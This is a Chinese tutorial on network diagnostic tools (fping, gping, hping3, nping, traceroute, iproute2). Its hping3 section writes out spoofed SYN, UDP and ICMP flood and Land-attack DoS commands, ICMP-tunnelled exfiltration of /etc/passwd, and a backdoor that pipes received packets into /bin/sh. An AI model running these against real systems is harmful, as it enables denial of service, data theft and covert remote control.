Nmap、Netcat、Hping3工具对比:http://www.2cto.com/article/201210/158961.html
hping3 命令:http://man.linuxde.net/hping3
示例:Testing firewall rules with Hping3 :https://www.docin.com/p-745382113.html
Kali基本扫描工具:Fping、Nping、Arping、Nbtscan、onesixtyone:https://cloud.tencent.com/developer/article/1821351
IP地址在线计算器:https://www.usetoolbar.com/convert/ip_calc.html
在线 ping 工具
1、ping 命令 用法
ping 命令 http://man.linuxde.net/ping
ping 主要是判断主机之间网络是否畅通,同时可以判断是否存活,但是如果防火墙禁用了 ICMP 报文,就是禁止 ping,就无法 ping 通,没法判断主机存活。
windows 平台 ping
Linux 平台 ping
2、fping
fping 是一个向网络主机发送 ICMP 回显探测的程序,类似于 ping,但在 ping 多个主机时性能要好得多。fping 就是 ping 的加强版,可以对一个 IP段 进行 ping 扫描。
fping 用法
fping -h
用法:fping [选项] [目标...]探测选项:
-4, --ipv4 仅 ping IPv4 地址
-6, --ipv6 仅 ping IPv6 地址
-b, --size=BYTES 发送的 ping 数据包的大小。以字节为单位(默认值:56)
-B, --backoff=N 将指数退避因子设置为 N(默认值:1.5)
-c, --count=N 向每个目标发送 ping 的数量。(默认 1)
-f, --file=FILE 从文件中读取目标列表( - 表示标准输入)
-g, --generate 生成目标列表(仅当未指定 -f 时)
(在目标列表中给出开始和结束 IP,或 CIDR 地址)
(例如 fping -g 192.168.1.0 192.168.1.255 或 fping -g 192.168.1.0/24)
-H, --ttl=N 设置 IP 的 TTL 值(Time To Live hops)
-I, --iface=IFACE 指定网卡接口,就是从那个网卡接口发送 ping
-l, --loop 循环模式:永远发送 ping
-m, --all 使用所提供hostnames的所有 IP(例如 IPv4 和 IPv6),与 -A 一起使用
即 ping 目标主机的多个网口
-M, --dontfrag 设置不分片标志
-O, --tos=N 在 ICMP 数据包上设置服务类型 (tos) 标志
-p, --period=Ping 对同一个目标的ping包间隔(毫秒)
(在循环和统计模式中,默认为1000)
-r, --retry=N 当ping失败时,最大重试次数( 默认为3次 )
-R, --random 随机数据包数据(用于阻止链接数据压缩)
-S, --src=IP 设置源IP地址
-t, --timeout=MSEC 单个目标的超时时间(毫秒)
(默认值:500 毫秒,除了 -l/-c/-C,它的 -p 周期最长为 2000 毫秒)输出选项:
-a, --alive 显示活动的目标。即可ping通的目标
-A, --addr 按IP地址显示目标
-C,--vcount=N 同-c,以详细格式报告结果
-d, --rdns 按名称显示目标(强制反向 DNS 查找)
-D, --timestamp 在每个输出行之前打印时间戳
-e, --elapsed 显示返回数据包经过的时间
-i, --interval=MSEC ping 数据包之间的 MSEC 间隔(默认值:10 毫秒)
-n, --name 按名称显示目标(目标 IP 的反向 DNS 查找)
-N, --netdata 兼容 netdata 的输出(需要 -l -Q)
-o, --outage 显示累计中断时间(丢包*包间隔)
-q, --quiet 安静模式(不显示每个目标或每个ping的结果)
-Q, --squiet=SECS 同-q, 但是,每n秒显示信息概要
-s, --stats 打印最终统计数据
-u, --unreach 显示不可到达的目标
-v, --version 显示版本
-x, --reachable=N 显示 >=N 主机是否可达
示例:
fping -A -u -c 4 192.168.1.1 192.168.1.74 192.168.1.20
fping -a -A -g 192.168.100.0/24
fping -A www.baidu.com -m
3、gping
github:https://github.com/orf/gping
ping 基于文本形式,缺少可读性,gping 是基于 Rust 编写可视化工具,具有动态图形化界面显示,可以实时查看网络连通情况。gping 就是带有图表的 Ping
gping 特点:
- 绘制多个主机的 ping 时间图
- 通过 --cmd 参数 绘制命令的执行时间
- 自定义颜色
- Windows、Mac 和 Linux 支持
用法:gping 域名/ip
示例:查看多个域名:gping www.baidu.com www.qq.com
4、hping、hping3
hping、hping3 核心应用:灵活地构建 TCP、IP 数据包
hping 是命令行下使用 TCP/IP 来 组装/分析 数据包的开源工具。作者是 Salvatore Sanfilippo,界面灵感来自 ping(8)unix 命令,目前最新版是 hping3,它支持 TCP,UDP,ICMP 和 RAW-IP 协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用 tcl 脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping 优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。
Nmap 团队也开发了一款类似的工具 Nping,集成在 Nmap 的安装包中。
hping 通常被用在 web 服务,用来做压力测试使用,进行DOS攻击实验。hping3 缺点是每次只能扫描一次目标。虽然 hping 以前主要用作安全工具,但它可以在许多方面被不太关心安全性的人员用于测试网络和主机,您可以使用 hping 的一小部分内容:
- 防火墙测试
- 高级端口扫描
- 网络测试,使用不同的协议,TOS,分片
- 手动路径 MTU 发现
- 在所有支持的协议下,高级 traceroute
- 远程操作系统指纹
- 远程正常运行时间猜测
- TCP/IP 协议栈审计
- hping 也可以用于学习TCP/IP的学生
hping3 参数
hping3 -h
用法: hping3 host [options]
-h --help 显示帮助
-v --version 显示版本
-c --count 发送数据包的数目
-i --interval 每个数据包的时间间隔 (uX X表示微秒, 示例:-i u1000)
--fast 等价 -i u10000 (每秒发送10个数据包)
--faster 等价 -i u1000 (每秒发送100个数据包)
--flood 尽最快发送数据包,不显示回复。
-n --numeric 数字化输出,象征性输出主机地址。
-q --quiet 安静模式
-I --interface 网卡接口 (默认是路由接口)
-V --verbose 详细模式
-D --debug 调试信息
-z --bind 绑定 ctrl+z 到 ttl (默认为目的端口)
-Z --unbind 取消绑定 ctrl+z 键
--beep 对于接收到的每个匹配数据包蜂鸣声提示
模式 选择
default mode TCP // 默认模式是 TCP
-0 --rawip 原始 IP模式。即裸IP方式。使用 RAWSOCKET 方式。
在此模式下 hping 会发送带数据的IP头。
-1 --icmp ICMP 模式
-2 --udp UDP 模式
-8 --scan 扫描 模式。示例:hping --scan 1-30,70-90 -S www.target.host
-9 --listen 监听 模式
IP 模式
-a --spoof 源地址欺骗。
伪造IP攻击,防火墙就不会记录你的真实IP,当然回应的包你也接收不到。
--rand-dest 随机目的地址模式。详细使用 man 命令
--rand-source 随机源地址模式。详细使用 man 命令
-t --ttl 设置 ttl (默认 64)
-N --id 设置 hping 中的 ID 值,默认随机值
-W --winid 使用 win* id 字节顺序。
使用winid模式,针对不同的操作系统。UNIX ,WINDIWS的id回应不同的,
选项可以让你的ID回应和WINDOWS一样。
-r --rel 相对id字段(估计主机流量)。更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-f --frag 拆分数据包成更多的 frag。即 一个数据包 分段 成多个数据包,
可以测试对方或者交换机碎片处理能力,缺省16字节。(可能会通过弱的ACL限制)
-x --morefrag 设置更多的分段标志。大量碎片,泪滴攻击。
-y --dontfrag 设置不分段的标志。即发送不可恢复的IP碎片,
通过这个可以让你了解更多的 MTU PATH DISCOVERY。
-g --fragoff 设置断偏移。
-m --mtu 设置虚拟MTU值,如果 packet size > mtu 时,实现 --frag。
-o --tos type of service (default 0x00), try --tos help
-G --rroute 显示路由缓存,包括 RECORD_ROUTE 选项
--lsrr 松散源路由和路由记录
--ssrr 严格的源路由和路由记录
-H --ipproto 设置 IP 协议字段,仅在 RAW IP 模式下使用
ICMP 模式
-C --icmptype icmp 类型 (默认回显请求)
-K --icmpcode icmp 码 (默认 0)
--force-icmp 发送所有 icmp 类型 (默认只发送支持的类型)
--icmp-gw 设置ICMP重定向网关。(默认0.0.0.0) // ICMP重定向
--icmp-ts 等同 --icmp --icmptype 13 (ICMP 时间戳)
--icmp-addr 等同 --icmp --icmptype 17 (ICMP 地址 子网 掩码)
--icmp-help 显示其他icmp选项帮助 // ICMP帮助
UDP/TCP 模式
-s --baseport 源端口 (默认随机)
-p --destport [+][+]<port> 目的端口(默认 0) ctrl+z inc/dec
-k --keep 保持源端口。即源端口不关闭,一直处于监听状态
-w --win winsize (default 64)。win的滑动窗口。windows发送字节(默认64)
-O --tcpoff 伪造 tcp 数据偏移量(用来代替 "tcp地址长度 / 4" )
-Q --seqnum 仅显示tcp序列号
-b --badcksum (尝试) 发送带有错误checksum的IP数据包。
许多系统将修复发送数据包的IP校验和。
所以你会得到错误UDP/TCP校验和。
-M --setseq 设置TCP序列号
-L --setack set TCP ack ( 注意:不是设置 TCP ACK 的 flag )
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag (注意:设置 TCP ACK 的 flag )
-U --urg set URG flag // 一大堆IP数据包头的设置。
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->th_flags as exit code
--tcp-mss 用给定的值,启用并设置 TCP MSS
--tcp-timestamp 启用 TCP时间戳 来猜测 HZ/uptime
用用设置
-d --data 数据大小 ( 默认是 0 )
-E --file 从文件获取数据
-e --sign 添加 'signature'
-j --dump 转储为16进制数据包
-J --print 转储为可打印字符
-B --safe 启用“安全”协议
-u --end 告诉 --file 何时到达 EOF 并阻止倒回。
-T --traceroute 追踪模式。( 等同 --bind and --ttl 1 )
--tr-stop 在 追踪模式 下收到第一个不是ICMP时退出
--tr-keep-ttl 保持源 TTL 固定,对仅监控一跳很有用
--tr-no-rtt 不要在 traceroute 模式下计算/显示 RTT 信息
ARS 数据包描述(新增功能,不稳定的)
--apd-send 发送用 APD 描述的数据包 (参见 docs/APD.txt)
hping3 的使用
hping3 -c 5000 -d 150 -S -w 64 -p 81 --flood 1.1.1.1 ----- 打400M TCP SYN流量
hping3 -c 999999999 -d 150 -S -w 64 -p 81 -i u1000 1.1.1.1 ---- 打1.5M TCP SYN流量
hping3 -c 999999999 -d 150 -w 64 -p 81 -i u10 1.1.1.1 -2 ---- 组合限速,打100M UDP流量
防火墙测试
参考:http://0daysecurity.com/articles/hping3_examples.html
使用 Hping3 指定各种数据包字段,依次对防火墙进行详细测试。测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack 方式测试目标防火墙( Land Attack 是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接 )。
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
端口扫描
Hping3 也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:
hping3 -I eth0 -S -p 80 -c 5 192.168.1.107 # 端口扫描
其中-I eth0 指定使用eth0端口,-S 指定TCP包的标志位SYN,-p 80指定探测的目的端口。
hping3 支持非常丰富的端口探测方式,nmap 拥有的扫描方式 hping3 几乎都支持(除开 connect方式,因为 Hping3 仅发送与接收包,不会维护连接,所以不支持 connect 方式探测)。而且Hping3 能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3 的端口扫描性能及综合处理能力,无法与 Nmap 相比。一般使用它仅对少量主机的少量端口进行扫描。
Idle 扫描
Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是 Hping3 的作者 Salvatore Sanfilippo 发明的,目前 Idle 扫描在 Nmap 中也有实现。
该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。
DoS 攻击方法
使用 Hping3 可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用 1000 微秒的间隔发送各个SYN包。
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻击如 smurf、teardrop、land attack 等也很容易构建出来。
随机 源IP 的 Dos 攻击
hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source www.hping3testsite.com
hping3 -S -U --flood -V --rand -source IP
-c 100000 发送数据包的数量
-d 120 发送数据包的大小
-S 只发送SYN 数据包
-w 64 TCP window的大小.
-p 21 目的端口号
--flood 尽可能快的发送,不显示回显。
--rand-source 使用随机的Source IP Addresses 或者使用 -a or spoof to hide hostnames
ICMP flood
ICMP 的泛洪攻击是在最小时间内发送最大的ICMP数据到目标机,例如使用ping指令。在"旧"时代它使用一个巨大的ping(死亡之ping)是可能破坏机器,希望这些时间已经过去,但它仍有可能攻击任何机器的带宽和处理时间,如果接受到这种ICMP数据包。
命令:hping3 -q -n -a 10.0.0.1 --id 0 --icmp -d 56 --flood 192.168.0.2
-q 表示quiet, -n 表示无 name resolving, id 0 表示有ICMP echo request (ping)
-d i表示包的大小 (56 is the normal size for a ping).
某些系统配置中自动地丢弃这种通过hping生成的头部设定不正确的ICMP包(例如不可能设置带顺序的ID)。在这种情况下,您可以使用Wireshark嗅探正常的ICMP回显请求报文,将其保存为二进制文件,并使用hping3重播。示例:hping3 -q -n --rawip -a 10.0.0.1 --ipproto 1 --file "./icmp_echo_request.bin" -d 64 --flood 192.168.0.2
UDP flood
命令:hping3 -q -n -a 10.0.0.1 --udp -s 53 --keep -p 68 --flood 192.168.0.2
对于UDP,你必须精确的知道源和目的端口,这里我选择了DNS和BOOTPC(的dhclient)端口。该BOOTPC(68)端口经常在个人电脑开着,因为大多数人使用DHCP来自己连接到网络。
ame blacklist_180 --set -m comment --comment"Blacklist source IP" -j DROP
SYN flood
SYN泛洪是最常用的扫描技术,以及这样做的原因是因为它是最危险的。 SYN泛洪在于发送大量的TCP数据包只有SYN标志。因为SYN报文用来打开一个TCP连接,受害人的主机将尝试打开这些连接。这些连接,存储的连接表中,将继续开放一定的时间,而攻击者不断涌入与SYN数据包。一旦受害者的连接表被填满时,它不会接受任何新的连接,因此,如果它是一个服务器这意味着它已不再被任何人访问。
示例:hping3 -q -n -a 10.0.0.1 -S -s 53 --keep -p 22 --flood 192.168.0.2
其他 SYN flood 攻击
有许多使用TCP泛洪的可能性。如你所愿刚才设置的各种TCP标志。某些TCP泛洪技术包括制定了很多不寻常的标志扰乱。例如与SARFU扫描
示例:hping3 -q -n -a 10.0.0.1 -SARFU -p 22 --flood 192.168.0.2
Land 攻击
Land 攻击原理是:用一个特别打造的SYN包,它的原地址和目标地址都被设置成某一个服务器地址。此举将导致接受服务器向它自己的地址发送SYN-ACK消息,结果这个地址又发回ACK消息并创建一个空连接。被攻击的服务器每接收一个这样的连接都将保留,直到超时,对Land攻击反应不同,许多UNIX实现将崩溃,NT变的极其缓慢(大约持续5分钟)
nmap 扫描 确定开放端口
Network Mapper,是Linux下的一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统
nmap v sA n www.yourorg.com oA firewallaudit
ARP攻击 / ARP欺骗
工具: ettercap
文件传输
Hping3 支持通过 TCP/UDP/ICMP 等包来进行文件传输。相当于借助 TCP/UDP/ICMP 包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。
在接收端开启服务,监听 ICMP 包中的签名,根据签名解析出文件内容。
hping3 192.168.1.159 --listen signature --safe --icmp在发送端使用签名打包的ICMP包发送文件:
hping3 192.168.1.108 --icmp -d 100 --sign signature --file /etc/passwd将 /etc/passwd 密码文件通过 ICMP 包传给 192.168.10.44 主机。
发送包大小为100字节(-d 100),发送签名为 signature (-sign signature)。
木马功能
如果 Hping3 能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。
示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。
当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。
在木马启动端:
hping3 192.168.10.66 --listen signature --safe --udp -p 53 | /bin/sh在远程控制端:
echo ls > test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd将包含ls命令的文件加上签名 signature 发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。
5、nping
nping 为 nmap 的子命令,和 nmap 一样为免费开源的探测器,只要安装好 nmap 就能使用 nping,支持高度自定义的报文定制及探测,
nping man ( :https://man7.org/linux/man-pages/man1/nping.1.html ) 支持的探测模式说明:
参数 | 说明 |
---|---|
--tcp-connect | 无特权的tcp连接探测 |
--tcp | tcp探测 |
--udp | udp探测 |
--icmp | icmp探测 |
--arp | arp/rarp探测 |
--tr/--traceroute | 路由跟踪模式(需配合--tcp/--udp/--icmp一起使用) |
以下将从以上探测模式展开说明主流及高级用法。
nping 详细使用
网络探测的中流砥柱-Nping使用指南:https://cloud.tencent.com/developer/article/1898452
6、tracert、traceroute
traceroute 是用来追踪出送数据包的主机到目标主机之间所经过的网关的工具。其实就是追踪路由的工具。通过 traceroute 可以知道信息从你的计算机到互联网另一端的主机是走的什么路径。当然每次数据包由某一同样的出发点(source)到达某一同样的目的地(destination)走的路径可能会不一样,但基本上来说大部分时候所走的路由是相同的。
traceroute 通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备 traceroute 要测3次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其IP地址。
Windows 命令:tracert
示例:
tracert -d target_name:不将节点主机名转换为 IP 地址。
tracert -h 20 target_name:设置最多经过 20 个节点进行路由追踪。
tracert -R target_name:使用“参考路由”而不是“严格源路由”。
在进行路由追踪时,请注意以下几点:
- 不要滥用 tracert 命令,尤其是在生产环境中执行时,因为它在追踪过程中会发送大量的数据包,会给网络带来额外的负担。
- 在进行路由跟踪时,可能会遇到一些无法到达的节点,此时 tracert 会结束追踪过程并返回报告信息。
- 在进行路由跟踪时,可能因为某些网络节点的安全限制而导致 tracert 命令无法执行。在这种情况下,可以尝试使用其他一些网络工具,例如 Ping 命令。
linux 命令:traceroute
用法:traceroute [ -46dFITnreAUDV ] [ -f first_ttl ] [ -g gate,... ] [ -i device ] [ -m max_ttl ] [ -N squeries ] [ -p port ] [ -t tos ] [ -l flow_label ] [ -w MAX,HERE,NEAR ] [ -q nqueries ] [ -s src_addr ] [ -z sendwait ] [ --fwmark=num ] host [ packetlen ]
帮助:traceroute --help
选项:
-4 使用 IPv4
-6 使用 IPv6
-d --debug 启用套接字级调试
-F --dont-fragment 不分片数据包
-f first_ttl --first=first_ttl 从 first_ttl 跃点开始(而不是从 1 开始)
-g gate,... --gateway=gate,... 通过指定的网关发送数据包(IPv4 最多8个,IPv6 最多 127 个)
-I --icmp 使用 ICMP ECHO 进行跟踪
-T --tcp 使用 TCP SYN 进行跟踪(默认端口为 80)
-i device --interface=device 指定要使用的网络接口
-m max_ttl --max-hops=max_ttl 设置最大跳数(最大 TTL 为到达)。默认值为 30
-N squeries --sim-queries=squeries 设置尝试的探测次数(默认为 16)
-n 不将 IP 地址解析为其域名
-p port --port=port 设置要使用的目标端口。
要么是 默认 方法的初始 udp 端口值(每个探针递增,默认值为 33434),
要么是 icmp 的初始 seq(也递增,默认从 1),
或者其他方法的某个恒定目标端口(使用 tcp 默认为 80,udp 默认为 53,等等)
-t tos --tos=tos 设置 TOS (即 IPv4 服务类型) 或 TC(Pv6 traffic class)传出数据包的值
-l flow_label --flowlabel=flow_label 对 IPv6 数据包使用指定的 flow_label
-w MAX,HERE,NEAR --wait=MAX,HERE,NEAR 等待探测的时间不超过 HERE(默认 3)倍于来自同一跃点的响应,
或不超过 NEAR(默认 10)倍于某个下一跃点,
或 MAX(默认 5.0)秒(也允许浮点值) )
-q nqueries --queries=nqueries 设置每跳的探测数。默认为 3
-r 绕过正常路由,直接发送到连接网络上的主机
-s src_addr --source=src_addr 将源 src_addr 用于传出数据包
-z sendwait --sendwait=sendwait 探测之间的最小时间间隔(默认 0)。
如果该值大于 10,则它指定一个以毫秒为单位的数字,
否则它是一个秒数(也允许浮点值)
-e --extensions 显示 ICMP 扩展(如果存在),包括 MPLS
-A --as-path-lookups 在路由注册表中执行 AS 路径查找,并在对应地址后直接打印结果
-M name --module=name 使用指定的模块(内置或外部)进行跟踪路由操作。
大多数方法都有它们的快捷方式(`-I' 表示 `-M icmp' 等)
-O OPTS,... --options=OPTS,...
使用特定模块的 OPTS 选项来跟踪路由模块。
允许多个 OPTS,OPTS之间用逗号分隔。
如果 OPTS 是 help,则打印 options 的帮助信息。
--sport=num 将源端口号用于传出数据包。等同 -N 1
--fwmark=num 为传出数据包设置防火墙标记
-U --udp 使用 UDP 到特定端口进行跟踪路由(而不是增加每个探测的端口),默认端口为 53
-UL 使用 UDPLITE 进行跟踪路由(默认目标端口是 53)
-D --dccp 使用 DCCP 请求进行跟踪路由(默认端口是 33434)
-P prot --protocol=prot 使用 protocol prot 的原始数据包进行tracerouting
--mtu Discover MTU along the path being traced. 等同 '-F -N 1'
--back 猜测反向路径的跳数和,如果不同则打印
-V --version 打印版本信息并退出
--help 阅读此帮助并退出
参数:
+ host 要追踪的数据
packetlen 完整的数据包长度(默认为 IP 标头长度加上 40)。 可以忽略或增加到最小允许值
示例:
简单的基本用法是:traceroute hostname
traceroute www.baidu.com # 查看访问百度经过的网关
traceroute -d www.baidu.com
traceroute -m 10 www.baidu.com 跳数设置
traceroute -n www.baidu.com 显示IP地址,不查主机名
traceroute -p 6888 www.baidu.com 探测包使用的基本UDP端口设置6888
traceroute -q 4 www.baidu.com 把探测包的个数设置为值4
traceroute -w 3 www.baidu.com 设置3秒超时
traceroute -r www.baidu.com 绕过正常的路由表,直接发送到网络相连的主机
7、net-tools 和 iproute2 对比
From(试试Linux下的ip命令,ifconfig已经过时了): https://linux.cn/article-3144-1.html
From(linux网络配置命令之ifconfig、ip和route): http://chrinux.blog.51cto.com/6466723/1188108
From(linux网络工具iproute2的使用简介): http://www.linuxdiyf.com/linux/23935.html
iproute基本介绍:https://segmentfault.com/a/1190000000638244
iproute2 之 ip命令使用教程手册:https://www.iamle.com/archives/1750.html
iproute2 github地址(GitHub上有英文版使用文档):https://github.com/dmbaturin/iproute2-cheatsheet
《iproute2 对决 net-tools》(英文原文:Linux TCP/IP networking: net-tools vs. iproute2)
如今很多系统管理员依然通过组合使用诸如 ifconfig、route、arp 和 netstat 等命令行工具( 统称为 net-tools )来配置网络功能,解决网络故障。net-tools 起源于 BSD 的 TCP/IP 工具箱,后来成为老版本 Linux 内核中配置网络功能的工具。但自2001年起,Linux 社区已经对其停止维护。同时,一些 Linux 发行版比如 Arch Linux 和 CentOS/RHEL 7 则已经完全抛弃了 net-tools,只支持 iproute2 。
作为网络配置工具的一份子,iproute2 是 linux 下管理控制 TCP/IP 网络和流量控制的新一代工具包,旨在替代老派的工具链net-tools,即大家比较熟悉的 ifconfig,arp,route,netstat 等命令。。net-tools 通过 procfs(/proc) 和 ioctl 系统调用去访问和改变内核网络配置,而 iproute2 则通过 netlink 套接字接口与内核通讯。抛开性能而言,net-tools 的用法给人的感觉是比较乱,而iproute2 的用户接口相对 net-tools 来说更加直观。比如,各种网络资源(如 link、IP地址、路由和隧道等)均使用合适的对象抽象去定义,使得用户可使用一致的语法去管理不同的对象。。更重要的是,到目前为止,iproute2 仍处在持续开发中。
所以,net-tools 和 iproute2 都需要去学习掌握了。
如果你仍在使用 net-tools,而且尤其需要跟上新版 Linux 内核中的最新最重要的网络特性的话,那么是时候转到 iproute2 的阵营了。原因就在于使用 iproute2 可以做很多 net-tools 无法做到的事情。
对于那些想要转到使用 iproute2 的用户,有必要了解下面有关 net-tools 和 iproute2 的众多对比。
要安装 ip,请 点击这里 ( http://www.linuxgrill.com/anonymous/iproute2/NEW-OSDL/ )下载 iproute2 套装工具 。不过,大多数 Linux 发行版已经预装了 iproute2 工具。
iproute2 的核心命令是 ip,ip 命令和 ifconfig 类似,但前者功能更强大,并旨在取代后者。使用 ip 命令,只需一个命令,你就能很轻松地执行一些网络管理任务
iproute2 ip 命令常用备忘
ip地址管理
1.显示ip地址
ip a
ip address show
ip addr show dev eth0
ip a sh eth0
2.增加删除地址
ip address add 192.0.2.1/24 dev eth0
ip addr del 192.0.2.2/24 dev eth0
3.显示接口统计
ip -s link ls eth0
网卡和链路配置
4.显示链路
ip link show
ip link sh eth0
4.修改接口状态
ip link set eth0 up
ip link s gre01 down
路由表管理
5.显示路由表
ip route
ip ro show dev gre01
6.增加新路由
ip route add 10.2.2.128/27 dev gre01
7.增加默认路由
ip route add default via 192.168.1.1
8.修改默认路由
ip route chg default via 192.168.1.2
9.删除默认路由
ip route del default
隧道配置
10.增加删除GRE隧道
ip tunnel add gre01 mode gre local 10.1.1.1 remote 20.2.2.1 ttl 255
ip tunnel del gre01
11.IPIP隧道
ip tunl a ipip01 mode ipip local 10.1.1.1 remote 20.2.2.1 ttl 255
12.显示隧道
ip tunnel show
13.显示隧道统计
ip -s tunl ls gre01
邻居和arp表管理
13.查看arp表
ip neigh show
14.手工增加删除arp项
ip neighbor add 10.2.2.2 dev eth0
ip neigh del 10.2.2.1 dev eth0
socket统计
15.显示当前监听
ss -l
15.显示当前监听的进程
ss -p
常用命令
ip link show #显示链路
ip addr show #显示地址(或ifconfig)
ip route show #显示路由(route -n)
ip neigh show #显示arp表
ip neigh delete 192.168.95.50 dev eth0 #删除arp条目,
ip rule show #显示缺省规则
ip route del default dev eth0 #删除接口路由
ip route show table local #查看本地静态路由
ip route show table main #查看直连路由#添加静态路由
ip route add 10.0.0.0/24 via 192.168.92.129
ip route add 10.10.10.10 via 192.168.92.129
ip route add 172.31.100.0/24 dev eno16777736
ip route add 172.32.0.2 dev eno16777736#查看路由表
[root@localhost ~]# ip route show table main#删除
ip route del 10.0.0.0/24
ip route del 10.10.10.10
ip route del 172.31.100.0/24
ip route del 172.32.0.2#再次查看路由表
[root@localhost ~]# ip route show table main
[root@localhost ~]# ip route show table local#添加网卡别名
ip addr add 192.168.0.11/24 dev eno16777736#查看下网卡,别名没有产生,而是直接继承
[root@localhost ~]# ip addr show eno16777736
#添加网卡别名并添加标记 label
ip addr add 192.168.1.2 label eno16777736:0 dev eno16777736#查看下,多了eno16777736:0
ip addr show eno16777736
[root@localhost ~]# ip addr add 192.168.55.191/24 label eth0:1 dev eth0
[root@localhost ~]# ip addr show
网络接口相关
(1) 查询所有已连接的网络接口
下面的命令显示出所有可用网络接口的列表(无论接口是否激活)。
$ ifconfig -a # 使用 net-tools
$ ip link show # 使用 iproute2
使用 net-tools:
root@astrol:~# ifconfig -a
eth0 Link encap:Ethernet HWaddr 00:0c:29:0d:ce:93
inet addr:192.168.6.138 Bcast:192.168.6.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe0d:ce93/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:202741 errors:1 dropped:3312 overruns:0 frame:0
TX packets:60730 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:27472662 (27.4 MB) TX bytes:51025509 (51.0 MB)
Interrupt:18 Base address:0x2000
eth0:1Link encap:Ethernet HWaddr 00:0c:29:0d:ce:93
inet addr:192.168.6.139 Bcast:192.168.6.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Interrupt:18 Base address:0x2000
loLink encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:5 errors:0 dropped:0 overruns:0 frame:0
TX packets:5 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:512 (512.0 B) TX bytes:512 (512.0 B)
ifconfig -a 显示的是系统所有的网络接口,不管是激活的还是未激活的。
这里简单对 ifconfig 的输出做个解释:
- 第一行:Link encap(连接类型) HWaddr(网卡的硬件地址,即MAC地址)
- 第二行:inet addr(网卡的IPv4地址) Bcast(广播地址) Mask(子网掩码)
- 第三行:inet6 addr(网卡的IPv6地址)
- 第四行:UP(代表网卡是激活状态) BROADCAST(支持广播) RUNNING(代表网卡的网线被接上) MULTICAST(支持组播) MTU(最大传输单元) Metric(用于计算路由的成本)
- 第五、六行: 表示网络启动到现在接收和发送的网络包(packets)数量
- 第七行:collisions(冲突信息包的数目) txqueuelen(发送队列的大小)
- 第八行:表示网络启动到现在接收和发送的总字节量(bytes)
HWaddr :网卡的硬件地址,即MAC地址
inet addr:IPv4的IP 地址
Bcast:广播地址
mask:子网掩码
inet6 addr:IPv6地址
MTU:最大传输单元
Metric:用于计算路由的成本
RX:表示网络启动到现在的封包接受情况 (Receive)
packets:表示接包数
errors:表示接包发生错误的数量
dropped:表示丢弃的包数量
overruns:表示接收时因过速而丢失的数据包数
frame:表示发生frame错误而丢失的数据包数
TX:从网络启动到现在传送的情况 (Transmit)
collisions:冲突信息包的数目
txqueuelen:发送队列的大小
RX byte、TX byte:总传送/接受的量
注:由 RX 和 TX 可以了解网络是否非常繁忙
注:errors:0 dropped:0 overruns:0 frame:0,都为0 说明网络比较稳定
注:collisions发生太多次表示网络状况不太好
如果只想知道特定网络接口的信息,可以指定具体网络接口名称,例如ifconfig eth0,ifconfig lo
使用 iproute2
root@astrol:~# ip link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN
mode DEFAULT group default qlen 1000
link/ether 00:0c:29:0d:ce:93 brd ff:ff:ff:ff:ff:ff
同样的,想查看特定网络接口的信息,直接指定网络接口名称即可。
root@astrol:~# ip link show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN
mode DEFAULT group default qlen 1000
link/ether 00:0c:29:0d:ce:93 brd ff:ff:ff:ff:ff:ff
